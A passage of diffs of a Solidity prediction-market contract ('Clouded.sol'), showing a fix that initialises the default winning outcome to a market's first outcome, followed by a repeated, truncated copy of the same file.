     function getTraderOutcomePnlInBatch(address _traderAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory shares, uint256[] memory avgCost, uint256[] memory avgSell, int256[] memory pnl, uint256[] memory impliedRewardToWin) {
         shares  = new uint256[](_outcomeIds.length);
         avgCost = new uint256[](_outcomeIds.length);
         avgSell = new uint256[](_outcomeIds.length);
         pnl     = new int256[](_outcomeIds.length);
         impliedRewardToWin = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) {
             uint256 _outcomeId = _outcomeIds[i];
             uint256 _marketId  = outcomes_[_outcomeId].marketId;
             shares[i]  = balanceOf(_traderAddr, _outcomeId);
             avgCost[i] = traderOutcomeAvgCost_[_traderAddr][_outcomeId].avgPrice;
             avgSell[i] = traderOutcomeAvgSell_[_traderAddr][_outcomeId].avgPrice;
             pnl[i]     = traderOutcomePnl_[_traderAddr][_outcomeId];
             if (shares[i] > 0) impliedRewardToWin[i] = _calculateOutcomeReward(shares[i], markets_[_marketId].prizePool + markets_[_marketId].bondingPool, outcomes_[_outcomeId].shares);
         }
     }
 
     function getOutcomeBuyQuote(uint256 _outcomeId, uint256 _shares) external view returns (uint256 price, uint256 impliedRewardToWin, uint256 minRewardToWin) {
         uint256 _marketId = outcomes_[_outcomeId].marketId;
         Market storage market = markets_[_marketId];
         uint256 _marketExecutionPrice  = _getPriceAppreciation(market.shares, true, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(outcomes_[_outcomeId].shares, true, _shares) / 2;
         price = _marketExecutionPrice + _outcomeExecutionPrice;
 
         uint256 _totalPool   = market.prizePool + market.bondingPool + price;
         uint256 _sharesAfter = outcomes_[_outcomeId].shares + _shares;
         impliedRewardToWin   = _calculateOutcomeReward(_shares, _totalPool, _sharesAfter);
 
         uint256 _totalPrizePool = 2 * (market.prizePool + _outcomeExecutionPrice);
         minRewardToWin = _getMinRewardToWin(_shares, _totalPool, _totalPrizePool, _sharesAfter);
     }
 
     function getPriceAppreciation(uint256 _outcomeId, bool _isBuy, uint256 _shares) external view returns (uint256) {
         uint256 _marketId = outcomes_[_outcomeId].marketId;
         uint256 _marketTotalShares  = markets_[_marketId].shares;
         uint256 _outcomeTotalShares = outcomes_[_outcomeId].shares;
         require(_isBuy || _outcomeTotalShares >= _shares, "Exceed outcome total shares");
         uint256 _marketExecutionPrice  = _getPriceAppreciation(_marketTotalShares, _isBuy, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(_outcomeTotalShares, _isBuy, _shares) / 2;
         if (_isBuy) return _marketExecutionPrice + _outcomeExecutionPrice;
         else return _marketExecutionPrice;
     }
 
     function updateURI(string memory _newURI) external nonReentrant {
         require(msg.sender == MANAGER, "Not authorized");
         _setURI(_newURI);
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days) external nonReentrant isJury returns (uint256[] memory) {
         require(bytes(_name).length >= 10 && bytes(_name).length <= 200, "Name out of bound");
         require(bytes(_rule).length <= 4000, "Rule out of bound");
         require(_outcomes.length >= 2 && _outcomes.length <= 64, "Outcomes out of bound");
         require(_days >= 1 && _days <= 365, "At least 1 day and within 1 year");
 
         markets_[nextMarketId].name = _name;
         markets_[nextMarketId].rule = _rule;
         for (uint256 i = 0; i < _outcomes.length; i++) {
             require(bytes(_outcomes[i]).length > 0, "Outcome empty");
             markets_[nextMarketId].outcomeIds.push(nextOutcomeId);
             outcomes_[nextOutcomeId].marketId = nextMarketId;
             outcomes_[nextOutcomeId].name = _outcomes[i];
             nextOutcomeId++;
         }
         markets_[nextMarketId].startAt = block.timestamp;
         markets_[nextMarketId].daysOf  = _days * 1 days;
         nextMarketId++;
 
         return markets_[nextMarketId - 1].outcomeIds;
     }
 
     function buy(address _msgSender, uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external payable nonReentrant isJury { _buy(_msgSender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS); }
 
     function buy(uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external payable nonReentrant {
         uint256 _outcomeMarketId = outcomes_[_outcomeId].marketId;
         require(_outcomeMarketId != 0, "Invalid outcome id");
         require(IJury(JURY).updateMarketStatus(_outcomeMarketId) == 0, "Market ended");
         _buy(msg.sender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS);
     }
     
     function _buy(address _msgSender, uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) private {
         require(_shares > 0, "Shares cannot be 0");
         require(_slippageBPS <= 2000, "Exceed max slippage");
 
         Market storage market = markets_[_outcomeMarketId];
         Outcome storage outcome = outcomes_[_outcomeId];
         uint256 _marketExecutionPrice  = _getPriceAppreciation(market.shares, true, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(outcome.shares, true, _shares) / 2;
         uint256 _totalExecutionPrice   = _marketExecutionPrice + _outcomeExecutionPrice;
         require(_totalExecutionPrice <= _frontendPrice * (10000 + _slippageBPS) / 10000, "Exceed slippage");
         require(msg.value >= _totalExecutionPrice, "Insufficient payment");
 
         _calculateAvgCost(_msgSender, _outcomeId, true, _shares, _totalExecutionPrice);
 
         outcome.shares     += _shares;
         market.shares      += _shares;
         market.bondingPool += _marketExecutionPrice;
         market.prizePool   += _outcomeExecutionPrice;
         traderOutcomeIds_[_msgSender].add(_outcomeId);
         _mint(_msgSender, _outcomeId, _shares, "");
 
         uint256 _refund = msg.value - _totalExecutionPrice;
         if (_refund > 0) {
             (bool _success, ) = _msgSender.call{value: _refund}("");
             require(_success, "Refund failed");
         }
 
         emit Buy(_msgSender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS, market.shares, outcome.shares, market.bondingPool, market.prizePool);
     }
 
     function sell(uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external nonReentrant {
         Outcome storage outcome  = outcomes_[_outcomeId];
         uint256 _outcomeMarketId = outcome.marketId;
         require(_outcomeMarketId != 0, "Invalid outcome id");
         require(IJury(JURY).updateMarketStatus(_outcomeMarketId) == 0, "Market ended");
         require(balanceOf(msg.sender, _outcomeId) >= _shares, "Insufficient balance");
         require(_shares > 0, "Shares cannot be 0");
         require(_slippageBPS <= 2000, "Exceed max slippage");
 
         Market storage market = markets_[_outcomeMarketId];
         uint256 _refund       = _getPriceAppreciation(market.shares, false, _shares) / 2;
         uint256 _minRefund    = _frontendPrice * (10000 - _slippageBPS) / 10000;
         require(_refund >= _minRefund, "Exceed slippage");
 
         _calculateAvgSell(msg.sender, _outcomeId, _shares, _refund);
         _calculateAvgCost(msg.sender, _outcomeId, false, _shares, _refund);
 
         market.shares      -= _shares;
         market.bondingPool -= _refund;
         outcome.shares     -= _shares;
         _burn(msg.sender, _outcomeId, _shares);
         if (balanceOf(msg.sender, _outcomeId) == 0) traderOutcomeIds_[msg.sender].remove(_outcomeId);
 
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             require(_success, "Refund failed");
         }
 
         _emitSell(_outcomeMarketId, _outcomeId, _shares, _refund, _frontendPrice, _slippageBPS);
 
         _emitSellAfter(_outcomeMarketId, _outcomeId);
     }
 
     function _emitSell(uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _refund, uint256 _frontendPrice, uint256 _slippageBPS) private { emit Sell(msg.sender, _outcomeMarketId, _outcomeId, _shares, _refund, _frontendPrice, _slippageBPS, traderOutcomeIds_[msg.sender].isSet(_outcomeId)); }
 
     function _emitSellAfter(uint256 _marketId, uint256 _outcomeId) private { emit SellAfter(_marketId, _outcomeId, markets_[_marketId].shares, outcomes_[_outcomeId].shares, markets_[_marketId].bondingPool); }
 
     function claimReward(uint256 _marketId) external nonReentrant {
         require(IJury(JURY).updateMarketStatus(_marketId) == 4, "Market not ended");
 
         (, , , , , uint256 _juryOutcomeId, uint256 _votingOutcomeId, , , bool _marketResolved) = IJury(JURY).getMarketStoredInfo(_marketId);
         require(_marketResolved, "Market not resolved");
 
         uint256 _resolvedOutcomeId;
         if (_votingOutcomeId != 0)    _resolvedOutcomeId = _votingOutcomeId;
         else if (_juryOutcomeId != 0) _resolvedOutcomeId = _juryOutcomeId;
         else                          _resolvedOutcomeId = _getMarketWinningOutcome(_marketId);
 
         uint256 _traderShares;
         uint256 _traderReward;
         uint256 _totalReward = _getMarketTotalReward(_marketId);
         uint256[] memory _outcomeIds = markets_[_marketId].outcomeIds;
         for (uint256 i = 0; i < _outcomeIds.length; i++) {
             _traderShares = balanceOf(msg.sender, _outcomeIds[i]);
             if (_traderShares == 0) continue;
             _burn(msg.sender, _outcomeIds[i], _traderShares);
             traderOutcomeIds_[msg.sender].remove(_outcomeIds[i]);
             if (_outcomeIds[i] == _resolvedOutcomeId) _traderReward = _calculateOutcomeReward(_traderShares, _totalReward, outcomes_[_resolvedOutcomeId].shares);
             emit ClaimTraderReward(msg.sender, _marketId, _outcomeIds[i], _traderShares, _totalReward, _traderReward);
         }
 
         if (_traderReward > 0) {
             (bool _success, ) = msg.sender.call{value: _traderReward}("");
             require(_success, "Refund failed");
         }
     }
 
     function claimJuryReward(address _msgSender, uint256 _tokenMarketId, uint256 _totalWinnerOutcomeStakes) external nonReentrant isJury returns (uint256 tokenReward) {
         uint256 _marketTotalReward = _getMarketTotalReward(_tokenMarketId);
         tokenReward =  _marketTotalReward / 10 / _totalWinnerOutcomeStakes;
         if (tokenReward > 0) {
             (bool _success, ) = _msgSender.call{value: tokenReward}("");
             require(_success, "Jury refund failed");
         }
     }
 
     function _update(address _from, address _to, uint256[] memory _ids, uint256[] memory _values) internal virtual override {
         super._update(_from, _to, _ids, _values);
         
         if (_from != address(0) && _to != address(0)) {
             for (uint256 i = 0; i < _ids.length; i++) {
                 if (_values[i] > 0) {
                     traderOutcomeIds_[_to].add(_ids[i]);
                     if (balanceOf(_from, _ids[i]) == 0) traderOutcomeIds_[_from].remove(_ids[i]);
                     emit TransferToken(_from, _to, _ids[i], traderOutcomeIds_[_from].isSet(_ids[i]));
                 }
             }
         }
     }
 
     function _getPriceAppreciation(uint256 _idTotalShares, bool _isBuy, uint256 _shares) private pure returns (uint256) {
         uint256 _sharesAfter = _isBuy ? _idTotalShares + _shares : _idTotalShares - _shares;
         uint256 _sharesAfterSquared  = _sharesAfter * _sharesAfter;
         uint256 _sharesBeforeSquared = _idTotalShares * _idTotalShares;
         return _isBuy ? B * (_sharesAfterSquared - _sharesBeforeSquared) * DECIMALS / 2 / 10000 : B * (_sharesBeforeSquared - _sharesAfterSquared) * DECIMALS / 2 / 10000;
     }
 
     function _getMarketWinningOutcome(uint256 _marketId) private view returns (uint256) {
         uint256 _currentOutcomeId;
         uint256 _winningOutcomeShares;
-        uint256 _winningOutcomeId;
+        uint256 _winningOutcomeId = markets_[_marketId].outcomeIds[0];
         for (uint256 i = 0; i < markets_[_marketId].outcomeIds.length; i++) {
             _currentOutcomeId = markets_[_marketId].outcomeIds[i];
             if (outcomes_[_currentOutcomeId].shares > _winningOutcomeShares) {
                 _winningOutcomeShares = outcomes_[_currentOutcomeId].shares;
                 _winningOutcomeId = _currentOutcomeId;
             }
         }
         return _winningOutcomeId;
     }
 
     function _getMarketTotalReward(uint256 _marketId) private view returns (uint256) { return markets_[_marketId].bondingPool + markets_[_marketId].prizePool; }
 
     function _calculateOutcomeReward(uint256 _traderShares, uint256 _pool, uint256 _outcomeShares) private pure returns (uint256) { return _traderShares * _pool * 9 / _outcomeShares / 10; }
 
     function _calculateAvgCost(address _traderAddr, uint256 _outcomeId, bool _isBuy, uint256 _shares, uint256 _price) private {
         AvgPrice storage traderOutcomeAvgCost = traderOutcomeAvgCost_[_traderAddr][_outcomeId];
         if (_isBuy) {
             traderOutcomeAvgCost.avgPrice = (traderOutcomeAvgCost.shares * traderOutcomeAvgCost.avgPrice + _price) / (traderOutcomeAvgCost.shares + _shares);
             traderOutcomeAvgCost.shares  += _shares;
         }
         if (!_isBuy) {
             if (traderOutcomeAvgCost.shares <= _shares) {
                 _shares = traderOutcomeAvgCost.shares;
                 traderOutcomeAvgCost.avgPrice = 0;
             }
             traderOutcomeAvgCost.shares -= _shares;
         }
         emit TraderAvgCost(_traderAddr, _outcomeId, traderOutcomeAvgCost.avgPrice);
     }
 
     function _calculateAvgSell(address _traderAddr, uint256 _outcomeId, uint256 _shares, uint256 _price) private {
         AvgPrice storage traderOutcomeAvgSell = traderOutcomeAvgSell_[_traderAddr][_outcomeId];
         uint256 _avgSell = _price / _shares;
 
         traderOutcomeAvgSell.avgPrice = (traderOutcomeAvgSell.avgPrice * traderOutcomeAvgSell.shares + _avgSell * _shares) / (traderOutcomeAvgSell.shares + _shares);
         traderOutcomeAvgSell.shares  += _shares;
 
         int256 _pnlPerShare = int256(_avgSell) - int256(traderOutcomeAvgCost_[_traderAddr][_outcomeId].avgPrice);
         int256 _totalPnl    = _pnlPerShare * int256(_shares);
         traderOutcomePnl_[_traderAddr][_outcomeId] += _totalPnl;
 
         emit TraderAvgSell(_traderAddr, _outcomeId, traderOutcomeAvgSell.avgPrice, traderOutcomePnl_[_traderAddr][_outcomeId]);
     }
 
     function _getMinRewardToWin(uint256 _shares, uint256 _totalPool, uint256 _totalPrizePool, uint256 _sharesAfterBuy) private pure returns (uint256) {
         uint256 _effectivePool = _totalPrizePool < _totalPool ? _totalPrizePool : _totalPool;
 
         uint256 _k   = B * DECIMALS / 10000;
         uint256 _kS2 = _k * _sharesAfterBuy * _sharesAfterBuy; // if k × sharesAfterBuy < 0.9 × poolAfterBuy / sharesAfterBuy, has guaranteed min profit to enter if won
         if (_kS2 * 10 >= _effectivePool * 9) return _calculateOutcomeReward(_shares, _effectivePool, _sharesAfterBuy);
 
         uint256 _numerator   = 18 * _effectivePool - 9 * _kS2;
         uint256 _denominator = 11 * _k;
         uint256 _equilibrium = _sqrt(_numerator / _denominator); // c(S_eq) = 0.9 × P_eq / S_eq --> P_eq = P₀ + k(S_eq² - S₀²)/2 --> S_eq = √[ 18(P₀ - kS₀²/2) / 11k ]
 
         return _shares * _k * _equilibrium;
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 }
\ No newline at end of file

diff --git a/Clouded.sol b/Clouded.sol
--- a/Clouded.sol
+++ b/Clouded.sol
@@ -1,412 +1,412 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC1155 } from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury {
     function updateMarketStatus(uint256) external returns (uint8);
     function getMarketStoredInfo(uint256) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, bytes32, bool, bool);
 }
 
 contract Clouded is ERC1155, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event Buy(address indexed buyer, uint256 indexed marketId, uint256 indexed outcomeId, uint256 shares, uint256 frontendPrice, uint256 slippageBPS, uint256 marketShares, uint256 outcomeShares, uint256 bondingPool, uint256 prizePool);
     event Sell(address indexed seller, uint256 indexed marketId, uint256 indexed outcomeId, uint256 shares, uint256 refund, uint256 frontendPrice, uint256 slippageBPS, bool isTraderOutcome);
     event SellAfter(uint256 indexed marketId, uint256 indexed outcomeId, uint256 marketShares, uint256 outcomeShares, uint256 bondingPool);
     event TraderAvgCost(address indexed trader, uint256 indexed outcomeId, uint256 avgCost);
     event TraderAvgSell(address indexed trader, uint256 indexed outcomeId, uint256 avgSell, int256 pnl);
     event ClaimTraderReward(address indexed trader, uint256 indexed marketId, uint256 indexed outcomeId, uint256 traderShares, uint256 totalReward, uint256 traderReward);
     event TransferToken(address indexed from, address indexed to, uint256 indexed outcomeId, bool isTraderOutcomesFrom);
 
     uint256 constant B = 1;
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public immutable JURY;
 
     uint256 public nextMarketId;
     uint256 public nextOutcomeId;
 
     mapping(uint256 => Market)  private markets_;
     mapping(uint256 => Outcome) private outcomes_;
 
     mapping(address => Ids.Set) private traderOutcomeIds_;
     mapping(address => mapping(uint256 => AvgPrice)) private traderOutcomeAvgCost_;
     mapping(address => mapping(uint256 => AvgPrice)) private traderOutcomeAvgSell_;
     mapping(address => mapping(uint256 => int256)) private traderOutcomePnl_;
 
     struct Market {
         string name;
         string rule;
         uint256[] outcomeIds;
         uint256 startAt;
         uint256 daysOf;
         uint256 shares;
         uint256 bondingPool; // Accumulated bonding curve deposits. Refundable via sell during market; at settlement, distributed proportionally to winners.
         uint256 prizePool; // Fixed buy-in contributions from all traders. Non-refundable. Combined with bondingPool, Distributed to winners at settlement.
     }
 
     struct Outcome {
         uint256 marketId;
         string name;
         uint256 shares;
     }
 
     struct AvgPrice {
         uint256 shares;
         uint256 avgPrice;
     }
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _uri, address _managerAddr, address _juryAddr) ERC1155(_uri) {
         nextMarketId = 1;
         nextOutcomeId = 1;
         MANAGER = _managerAddr;
         JURY = _juryAddr;
     }
 
     function getMarketStartAtDaysOf(uint256 _marketId) external view returns (uint256, uint256) { return (markets_[_marketId].startAt, markets_[_marketId].daysOf); }
 
     function getMarketOutcomeIds(uint256 _marketId) external view returns (uint256[] memory) { return markets_[_marketId].outcomeIds; }
 
     function getOutcomeMarketId(uint256 _outcomeId) external view returns (uint256) { return outcomes_[_outcomeId].marketId; }
 
     function getMarketWinningOutcome(uint256 _marketId) external view returns (uint256) { return _getMarketWinningOutcome(_marketId); } // The function returns the outcome with most shares in a market
 
     function getMarketTotalReward(uint256 _marketId) external view returns (uint256) { return _getMarketTotalReward(_marketId); }
 
     function getMarketInfo(uint256 _marketId) external view returns (
         string    memory name, 
         string    memory rule, 
         uint256[] memory outcomeIds, 
         uint256 startAt, 
         uint256 daysOf, 
         uint256 shares, 
         uint256 bondingPool, 
         uint256 prizePool
     ) {
         name        = markets_[_marketId].name;
         rule        = markets_[_marketId].rule;
         outcomeIds  = markets_[_marketId].outcomeIds;
         startAt     = markets_[_marketId].startAt;
         daysOf      = markets_[_marketId].daysOf;
         shares      = markets_[_marketId].shares;
         bondingPool = markets_[_marketId].bondingPool;
         prizePool   = markets_[_marketId].prizePool;
     }
 
     function getTraderOutcomeIds(address _traderAddr) external view returns (uint256[] memory) { return traderOutcomeIds_[_traderAddr].getAll(); }
 
     function getTraderOutcomePnlInBatch(address _traderAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory shares, uint256[] memory avgCost, uint256[] memory avgSell, int256[] memory pnl, uint256[] memory impliedRewardToWin) {
         shares  = new uint256[](_outcomeIds.length);
         avgCost = new uint256[](_outcomeIds.length);
         avgSell = new uint256[](_outcomeIds.length);
         pnl     = new int256[](_outcomeIds.length);
         impliedRewardToWin = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) {
             uint256 _outcomeId = _outcomeIds[i];
             uint256 _marketId  = outcomes_[_outcomeId].marketId;
             shares[i]  = balanceOf(_traderAddr, _outcomeId);
             avgCost[i] = traderOutcomeAvgCost_[_traderAddr][_outcomeId].avgPrice;
             avgSell[i] = traderOutcomeAvgSell_[_traderAddr][_outcomeId].avgPrice;
             pnl[i]     = traderOutcomePnl_[_traderAddr][_outcomeId];
             if (shares[i] > 0) impliedRewardToWin[i] = _calculateOutcomeReward(shares[i], markets_[_marketId].prizePool + markets_[_marketId].bondingPool, outcomes_[_outcomeId].shares);
         }
     }
 
     function getOutcomeBuyQuote(uint256 _outcomeId, uint256 _shares) external view returns (uint256 price, uint256 impliedRewardToWin, uint256 minRewardToWin) {
         uint256 _marketId = outcomes_[_outcomeId].marketId;
         Market storage market = markets_[_marketId];
         uint256 _marketExecutionPrice  = _getPriceAppreciation(market.shares, true, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(outcomes_[_outcomeId].shares, true, _shares) / 2;
         price = _marketExecutionPrice + _outcomeExecutionPrice;
 
         uint256 _totalPool   = market.prizePool + market.bondingPool + price;
         uint256 _sharesAfter = outcomes_[_outcomeId].shares + _shares;
         impliedRewardToWin   = _calculateOutcomeReward(_shares, _totalPool, _sharesAfter);
 
         uint256 _totalPrizePool = 2 * (market.prizePool + _outcomeExecutionPrice);
         minRewardToWin = _getMinRewardToWin(_shares, _totalPool, _totalPrizePool, _sharesAfter);
     }
 
     function getPriceAppreciation(uint256 _outcomeId, bool _isBuy, uint256 _shares) external view returns (uint256) {
         uint256 _marketId = outcomes_[_outcomeId].marketId;
         uint256 _marketTotalShares  = markets_[_marketId].shares;
         uint256 _outcomeTotalShares = outcomes_[_outcomeId].shares;
         require(_isBuy || _outcomeTotalShares >= _shares, "Exceed outcome total shares");
         uint256 _marketExecutionPrice  = _getPriceAppreciation(_marketTotalShares, _isBuy, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(_outcomeTotalShares, _isBuy, _shares) / 2;
         if (_isBuy) return _marketExecutionPrice + _outcomeExecutionPrice;
         else return _marketExecutionPrice;
     }
 
     function updateURI(string memory _newURI) external nonReentrant {
         require(msg.sender == MANAGER, "Not authorized");
         _setURI(_newURI);
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days) external nonReentrant isJury returns (uint256[] memory) {
         require(bytes(_name).length >= 10 && bytes(_name).length <= 200, "Name out of bound");
         require(bytes(_rule).length <= 4000, "Rule out of bound");
         require(_outcomes.length >= 2 && _outcomes.length <= 64, "Outcomes out of bound");
         require(_days >= 1 && _days <= 365, "At least 1 day and within 1 year");
 
         markets_[nextMarketId].name = _name;
         markets_[nextMarketId].rule = _rule;
         for (uint256 i = 0; i < _outcomes.length; i++) {
             require(bytes(_outcomes[i]).length > 0, "Outcome empty");
             markets_[nextMarketId].outcomeIds.push(nextOutcomeId);
             outcomes_[nextOutcomeId].marketId = nextMarketId;
             outcomes_[nextOutcomeId].name = _outcomes[i];
             nextOutcomeId++;
         }
         markets_[nextMarketId].startAt = block.timestamp;
         markets_[nextMarketId].daysOf  = _days * 1 days;
         nextMarketId++;
 
         return markets_[nextMarketId - 1].outcomeIds;
     }
 
     function buy(address _msgSender, uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external payable nonReentrant isJury { _buy(_msgSender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS); }
 
     function buy(uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external payable nonReentrant {
         uint256 _outcomeMarketId = outcomes_[_outcomeId].marketId;
         require(_outcomeMarketId != 0, "Invalid outcome id");
         require(IJury(JURY).updateMarketStatus(_outcomeMarketId) == 0, "Market ended");
         _buy(msg.sender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS);
     }
     
     function _buy(address _msgSender, uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) private {
         require(_shares > 0, "Shares cannot be 0");
         require(_slippageBPS <= 2000, "Exceed max slippage");
 
         Market storage market = markets_[_outcomeMarketId];
         Outcome storage outcome = outcomes_[_outcomeId];
         uint256 _marketExecutionPrice  = _getPriceAppreciation(market.shares, true, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(outcome.shares, true, _shares) / 2;
         uint256 _totalExecutionPrice   = _marketExecutionPrice + _outcomeExecutionPrice;
         require(_totalExecutionPrice <= _frontendPrice * (10000 + _slippageBPS) / 10000, "Exceed slippage");
         require(msg.value >= _totalExecutionPrice, "Insufficient payment");
 
         _calculateAvgCost(_msgSender, _outcomeId, true, _shares, _totalExecutionPrice);
 
         outcome.shares     += _shares;
         market.shares      += _shares;
         market.bondingPool += _marketExecutionPrice;
         market.prizePool   += _outcomeExecutionPrice;
         traderOutcomeIds_[_msgSender].add(_outcomeId);
         _mint(_msgSender, _outcomeId, _shares, "");
 
         uint256 _refund = msg.value - _totalExecutionPrice;
         if (_refund > 0) {
             (bool _success, ) = _msgSender.call{value: _refund}("");
             require(_success, "Refund failed");
         }
 
         emit Buy(_msgSender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS, market.shares, outcome.shares, market.bondingPool, market.prizePool);
     }
 
     function sell(uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external nonReentrant {
         Outcome storage outcome  = outcomes_[_outcomeId];
         uint256 _outcomeMarketId = outcome.marketId;
         require(_outcomeMarketId != 0, "Invalid outcome id");
         require(IJury(JURY).updateMarketStatus(_outcomeMarketId) == 0, "Market ended");
         require(balanceOf(msg.sender, _outcomeId) >= _shares, "Insufficient balance");
         require(_shares > 0, "Shares cannot be 0");
         require(_slippageBPS <= 2000, "Exceed max slippage");
 
         Market storage market = markets_[_outcomeMarketId];
         uint256 _refund       = _getPriceAppreciation(market.shares, false, _shares) / 2;
         uint256 _minRefund    = _frontendPrice * (10000 - _slippageBPS) / 10000;
         require(_refund >= _minRefund, "Exceed slippage");
 
         _calculateAvgSell(msg.sender, _outcomeId, _shares, _refund);
         _calculateAvgCost(msg.sender, _outcomeId, false, _shares, _refund);
 
         market.shares      -= _shares;
         market.bondingPool -= _refund;
         outcome.shares     -= _shares;
         _burn(msg.sender, _outcomeId, _shares);
         if (balanceOf(msg.sender, _outcomeId) == 0) traderOutcomeIds_[msg.sender].remove(_outcomeId);
 
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             require(_success, "Refund failed");
         }
 
         _emitSell(_outcomeMarketId, _outcomeId, _shares, _refund, _frontendPrice, _slippageBPS);
 
         _emitSellAfter(_outcomeMarketId, _outcomeId);
     }
 
     function _emitSell(uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _refund, uint256 _frontendPrice, uint256 _slippageBPS) private { emit Sell(msg.sender, _outcomeMarketId, _outcomeId, _shares, _refund, _frontendPrice, _slippageBPS, traderOutcomeIds_[msg.sender].isSet(_outcomeId)); }
 
     function _emitSellAfter(uint256 _marketId, uint256 _outcomeId) private { emit SellAfter(_marketId, _outcomeId, markets_[_marketId].shares, outcomes_[_outcomeId].shares, markets_[_marketId].bondingPool); }
 
     function claimReward(uint256 _marketId) external nonReentrant {
         require(IJury(JURY).updateMarketStatus(_marketId) == 4, "Market not ended");
 
         (, , , , , uint256 _juryOutcomeId, uint256 _votingOutcomeId, , , bool _marketResolved) = IJury(JURY).getMarketStoredInfo(_marketId);
         require(_marketResolved, "Market not resolved");
 
         uint256 _resolvedOutcomeId;
         if (_votingOutcomeId != 0)    _resolvedOutcomeId = _votingOutcomeId;
         else if (_juryOutcomeId != 0) _resolvedOutcomeId = _juryOutcomeId;
         else                          _resolvedOutcomeId = _getMarketWinningOutcome(_marketId);
 
         uint256 _traderShares;
         uint256 _traderReward;
         uint256 _totalReward = _getMarketTotalReward(_marketId);
         uint256[] memory _outcomeIds = markets_[_marketId].outcomeIds;
         for (uint256 i = 0; i < _outcomeIds.length; i++) {
             _traderShares = balanceOf(msg.sender, _outcomeIds[i]);
             if (_traderShares == 0) continue;
             _burn(msg.sender, _outcomeIds[i], _traderShares);
             traderOutcomeIds_[msg.sender].remove(_outcomeIds[i]);
             if (_outcomeIds[i] == _resolvedOutcomeId) _traderReward = _calculateOutcomeReward(_traderShares, _totalReward, outcomes_[_resolvedOutcomeId].shares);
             emit ClaimTraderReward(msg.sender, _marketId, _outcomeIds[i], _traderShares, _totalReward, _traderReward);
         }
 
         if (_traderReward > 0) {
             (bool _success, ) = msg.sender.call{value: _traderReward}("");
             require(_success, "Refund failed");
         }
     }
 
     function claimJuryReward(address _msgSender, uint256 _tokenMarketId, uint256 _totalWinnerOutcomeStakes) external nonReentrant isJury returns (uint256 tokenReward) {
         uint256 _marketTotalReward = _getMarketTotalReward(_tokenMarketId);
         tokenReward =  _marketTotalReward / 10 / _totalWinnerOutcomeStakes;
         if (tokenReward > 0) {
             (bool _success, ) = _msgSender.call{value: tokenReward}("");
             require(_success, "Jury refund failed");
         }
     }
 
     function _update(address _from, address _to, uint256[] memory _ids, uint256[] memory _values) internal virtual override {
         super._update(_from, _to, _ids, _values);
         
         if (_from != address(0) && _to != address(0)) {
             for (uint256 i = 0; i < _ids.length; i++) {
                 if (_values[i] > 0) {
                     traderOutcomeIds_[_to].add(_ids[i]);
                     if (balanceOf(_from, _ids[i]) == 0) traderOutcomeIds_[_from].remove(_ids[i]);
